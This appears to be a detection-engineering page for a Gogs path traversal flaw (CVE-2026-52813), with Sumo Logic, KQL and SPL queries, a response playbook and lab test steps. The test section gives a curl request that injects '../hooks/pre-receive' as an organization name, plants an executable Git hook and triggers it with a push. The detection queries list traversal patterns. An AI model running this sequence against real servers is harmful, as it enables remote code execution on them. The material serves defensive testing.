CVE-2026-52813 Sumo Logic CSE · Sumo

Detect Gogs Path Traversal in Organization Name Leading to RCE via Git Hooks in Sumo Logic CSE

CVE-2026-52813 is a critical path traversal vulnerability (CVSS 10.0) in Gogs versions prior to 0.14.3. An attacker can craft a malicious organization name containing path traversal sequences (e.g., '../') to write arbitrary Git hook files outside the intended repository directory. This allows remote code execution on the Gogs server by placing executable hook scripts in controlled locations. A public PoC is available, making active exploitation likely.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Lateral Movement

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/access OR _sourceCategory=app/gogs OR _sourceCategory=os/syslog
| parse regex "(?<uri_path>\/[^\s?]*)(?:\?(?<uri_query>[^\s]*))?" nodrop
| parse regex "\s(?<status_code>\d{3})\s" nodrop
| where (
    (uri_path matches "*org*" OR uri_path matches "*organization*" OR uri_path matches "*/api/v1/orgs*")
    AND (
      uri_path matches "*../*" OR uri_path matches "*..\\*" OR
      uri_query matches "*../*" OR uri_query matches "*..\\*" OR
      uri_path matches "*%2e%2e%2f*" OR uri_path matches "*%2e%2e%5c*" OR
      uri_path matches "*..%2f*" OR uri_path matches "*..%5c*"
    )
  )
  OR (
    _raw matches "*gogs*" AND _raw matches "*.git*" AND _raw matches "*hook*"
    AND (_raw matches "*../*" OR _raw matches "*..\\*")
  )
| fields _messageTime, _sourceHost, uri_path, uri_query, status_code
| sort by _messageTime desc
critical severity medium confidence

Sumo Logic query to detect path traversal exploitation attempts against Gogs organization creation APIs and anomalous Git hook path references, covering CVE-2026-52813.

Data Sources

Web access logsGogs application logsOS syslog

Required Tables

_sourceCategory=web/access_sourceCategory=app/gogs_sourceCategory=os/syslog

False Positives & Tuning

  • Penetration testing engagements that include Gogs path traversal test cases
  • Unusual but legitimate URL-encoded organization names submitted via the Gogs API
  • Internal tooling that generates hook-related log messages during automated repository setup
  • SAST/DAST tools scanning the Gogs instance for vulnerability research purposes

Other platforms for CVE-2026-52813

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Gogs Org Creation with Path Traversal Name (Unauthenticated PoC)

    Expected signal: HTTP POST to /api/v1/orgs with path traversal in username field; possible filesystem write to .git/hooks/ outside expected path; Gogs process creating files in unexpected directories

  2. Test 2Manual Git Hook File Placement via Traversal (Filesystem Simulation)

    Expected signal: File creation event for executable file in .git/hooks path; auditd syscall write/chmod events; inotify events if configured on Gogs data directory

  3. Test 3Verify Gogs Version and Patch Status

    Expected signal: HTTP GET requests to Gogs API version endpoint; web scraping of Gogs home page; process execution of gogs binary with --version flag

  4. Test 4Post-Exploitation: Execute Command via Planted Git Hook

    Expected signal: Git push operation triggering hook execution; child process spawned by Gogs with UID of Gogs service; file write to /tmp/rce_proof.txt; network connection from Gogs process if hook establishes reverse shell

Last updated: 2026-07-21 Research depth: standard
References (5)

Response Playbook

Triage

  1. Immediately check Gogs server version: run `./gogs --version` or inspect the Gogs admin panel. If version < 0.14.3, assume vulnerable and escalate.
  2. Review Gogs web access logs for requests to `/org/create`, `/api/v1/orgs`, or similar endpoints containing `../`, `..%2F`, `..%5C`, or encoded variants within the organization name field.
  3. Search the Gogs data directory (default: `~/gogs-repositories`) for any `.git/hooks/` directories containing unexpected or recently modified executable scripts.
  4. Check running processes on the Gogs host for any suspicious child processes spawned by the `gogs` binary, which may indicate hook execution.

Containment

  1. If exploitation is confirmed or strongly suspected, immediately take the Gogs instance offline or block inbound access to the Gogs port (default 3000/10080) at the firewall/load balancer level.
  2. Revoke all active Gogs sessions and rotate API tokens, SSH keys, and administrative credentials. If the Gogs server has outbound network access, restrict it immediately to prevent data exfiltration or lateral movement.

Evidence Collection

  1. Preserve a snapshot of the Gogs data directory, including all `.git/hooks/` files with full metadata (timestamps, ownership, content hashes). Collect the Gogs application log (`log/gogs.log`) and web server access logs before any remediation steps.
  2. Capture a memory dump or at minimum a full process listing (including environment variables) from the Gogs host at time of detection to preserve evidence of any hook execution or injected payloads.

Escalation Criteria

  • !Escalate immediately to incident response if any `.git/hooks/` file contains code not authored by a known administrator, or if any hook has been executed (check modification times against access logs).
  • !Escalate if the Gogs server shows signs of lateral movement: new user accounts, SSH key additions, outbound connections to unknown IPs, or if the compromised server has access to other internal systems or secrets.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Gogs web access logs showing POST requests to `/org/create` or `/api/v1/orgs` with path traversal sequences in the `org_name` or `name` parameter
  • >Filesystem artifacts: newly created or modified files under `.git/hooks/` outside the expected Gogs repositories directory, particularly `pre-receive`, `post-receive`, or `update` scripts with executable bits set
  • >Gogs application log entries (`log/gogs.log`) showing organization creation events followed by errors or unexpected Git operations
  • >OS-level process execution records (auditd, Windows Event 4688) showing child processes spawned by `gogs` that are not typical Git subprocesses

Tuning Guidance

To reduce false positives, scope HTTP-based detections to requests that both target a Gogs organization endpoint AND contain decoded path traversal sequences (normalize URL encoding before matching). For file-based detections, build a baseline of expected hook files per repository and alert only on deviations. On Linux hosts, auditd rules scoped to the Gogs data directory with a filter on the `gogs` process UID will significantly reduce noise. Consider allowlisting known CI/CD service accounts that legitimately manage Git hooks via the Gogs API.

Hunting Queries

Hunt for Gogs process log entries referencing .git hook paths over the past 7 days, which may indicate hook file creation or execution events related to CVE-2026-52813 exploitation.

Hunting — KQL
kql 
Syslog
| where TimeGenerated > ago(7d)
| where ProcessName =~ "gogs" or SyslogMessage has "gogs"
| where SyslogMessage has ".git" and SyslogMessage has "hook"
| summarize count() by bin(TimeGenerated, 1h), Computer, SyslogMessage
| where count_ > 0
| sort by TimeGenerated desc
Hunting — SPL
spl 
index=os sourcetype=syslog process=gogs earliest=-7d
| where like(message, "%.git%") AND like(message, "%hook%")
| timechart span=1h count by host
| sort -_time

Hunt for Windows security audit events showing the Gogs process accessing .git/hooks directories, which would indicate hook file manipulation consistent with CVE-2026-52813 exploitation.

Hunting — KQL
kql 
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4663
| where ObjectName has ".git" and ObjectName has "hooks"
| where ProcessName has "gogs"
| project TimeGenerated, Computer, Account, ObjectName, ProcessName, AccessMask
| sort by TimeGenerated desc
Hunting — SPL
spl 
index=wineventlog EventCode=4663 earliest=-7d
| where like(Object_Name, "%.git%") AND like(Object_Name, "%hooks%")
| where like(Process_Name, "%gogs%")
| table _time, host, Account_Name, Object_Name, Process_Name, Accesses
| sort -_time

Atomic Red Team Tests

Test 1 Gogs Org Creation with Path Traversal Name (Unauthenticated PoC)
linux

Simulates CVE-2026-52813 by creating a Gogs organization with a path traversal sequence in the name field via the API, targeting a vulnerable Gogs instance in a lab environment.

Command

bash 
# Requires: vulnerable Gogs < 0.14.3 in lab, valid session token
GOGS_URL="http://localhost:3000"
TOKEN="<lab-api-token>"
curl -s -X POST "${GOGS_URL}/api/v1/orgs" \
  -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"username": "../hooks/pre-receive", "full_name": "Test Org", "visibility": "public"}'
# Check if a file was created outside the expected org directory
find /home/git/gogs-repositories -name 'pre-receive' -newer /tmp/before_test 2>/dev/null

Cleanup

bash 
# Remove any files created by the traversal test
find /home/git/gogs-repositories -name 'pre-receive' -newer /tmp/before_test -delete 2>/dev/null
# Delete the test org if created
curl -s -X DELETE "${GOGS_URL}/api/v1/orgs/test" -H "Authorization: token ${TOKEN}"

Expected Telemetry

HTTP POST to /api/v1/orgs with path traversal in username field; possible filesystem write to .git/hooks/ outside expected path; Gogs process creating files in unexpected directories

Expected Detection

KQL/SPL rules fire on HTTP request containing '../' in Gogs org API endpoint; file event rules trigger on hook file creation by Gogs process

Test 2 Manual Git Hook File Placement via Traversal (Filesystem Simulation)
linux

Simulates the post-exploitation artifact — a malicious pre-receive hook — by directly placing a file in the path that would result from successful traversal exploitation, to test file-based detections.

Command

bash 
# Simulate the artifact left by successful CVE-2026-52813 exploitation
# Replace /path/to/gogs-data with actual Gogs data dir
GOGS_DATA="/home/git/gogs-repositories"
mkdir -p "${GOGS_DATA}/../hooks"
cat > "${GOGS_DATA}/../hooks/pre-receive" << 'EOF'
#!/bin/sh
# Simulated malicious hook - lab only
id > /tmp/rce_proof.txt
EOF
chmod +x "${GOGS_DATA}/../hooks/pre-receive"
echo "Hook file placed. Check /tmp/rce_proof.txt after any Git push to affected repo."

Cleanup

bash 
rm -f /home/git/gogs-repositories/../hooks/pre-receive /tmp/rce_proof.txt
rmdir /home/git/gogs-repositories/../hooks 2>/dev/null || true

Expected Telemetry

File creation event for executable file in .git/hooks path; auditd syscall write/chmod events; inotify events if configured on Gogs data directory

Expected Detection

File integrity monitoring alerts on new executable in hook directory; SIEM file event rules trigger on hook path outside expected repository structure

Test 3 Verify Gogs Version and Patch Status
linux

Enumerates the Gogs version via the API and web UI to determine if the target instance is running a vulnerable version (< 0.14.3), supporting triage and prioritization.

Command

bash 
GOGS_URL="http://localhost:3000"
# Method 1: API version endpoint
curl -s "${GOGS_URL}/api/v1/version" | python3 -m json.tool
# Method 2: Scrape version from web UI footer
curl -s "${GOGS_URL}" | grep -oP 'Gogs v\K[0-9]+\.[0-9]+\.[0-9]+' | head -1
# Method 3: Check binary directly if accessible
which gogs && gogs --version 2>/dev/null || echo "gogs binary not in PATH"

Cleanup

bash 
# No cleanup required — read-only enumeration

Expected Telemetry

HTTP GET requests to Gogs API version endpoint; web scraping of Gogs home page; process execution of gogs binary with --version flag

Expected Detection

May trigger web scanning detection rules if performed from an unexpected source IP; process execution detection if gogs binary is executed by a non-service account

Test 4 Post-Exploitation: Execute Command via Planted Git Hook
linux

Demonstrates RCE by triggering a Git push to a repository where a malicious pre-receive hook has been planted via path traversal, causing the hook to execute on the Gogs server.

Command

bash 
# Prerequisites: hook already planted (see Atomic Test 2), Gogs running, test repo exists
GOGS_URL="http://localhost:3000"
TEST_REPO="testuser/testrepo"
# Clone repo and push to trigger pre-receive hook
cd /tmp
git clone "${GOGS_URL}/${TEST_REPO}" rce_test_repo
cd rce_test_repo
echo "trigger" >> trigger.txt
git add trigger.txt
git commit -m "trigger hook execution"
git push origin main
# Check for RCE evidence
cat /tmp/rce_proof.txt 2>/dev/null && echo "RCE confirmed" || echo "Hook not triggered"

Cleanup

bash 
rm -rf /tmp/rce_test_repo /tmp/rce_proof.txt
cd /tmp

Expected Telemetry

Git push operation triggering hook execution; child process spawned by Gogs with UID of Gogs service; file write to /tmp/rce_proof.txt; network connection from Gogs process if hook establishes reverse shell

Expected Detection

Process execution rules fire on unexpected child process of Gogs; EDR behavioral rules detect Gogs spawning shell interpreter; network detection if hook establishes C2 connection

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003PersistenceTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505.003Web ShellT1036Masquerading

Same Tactic: Initial Access

Popular Detections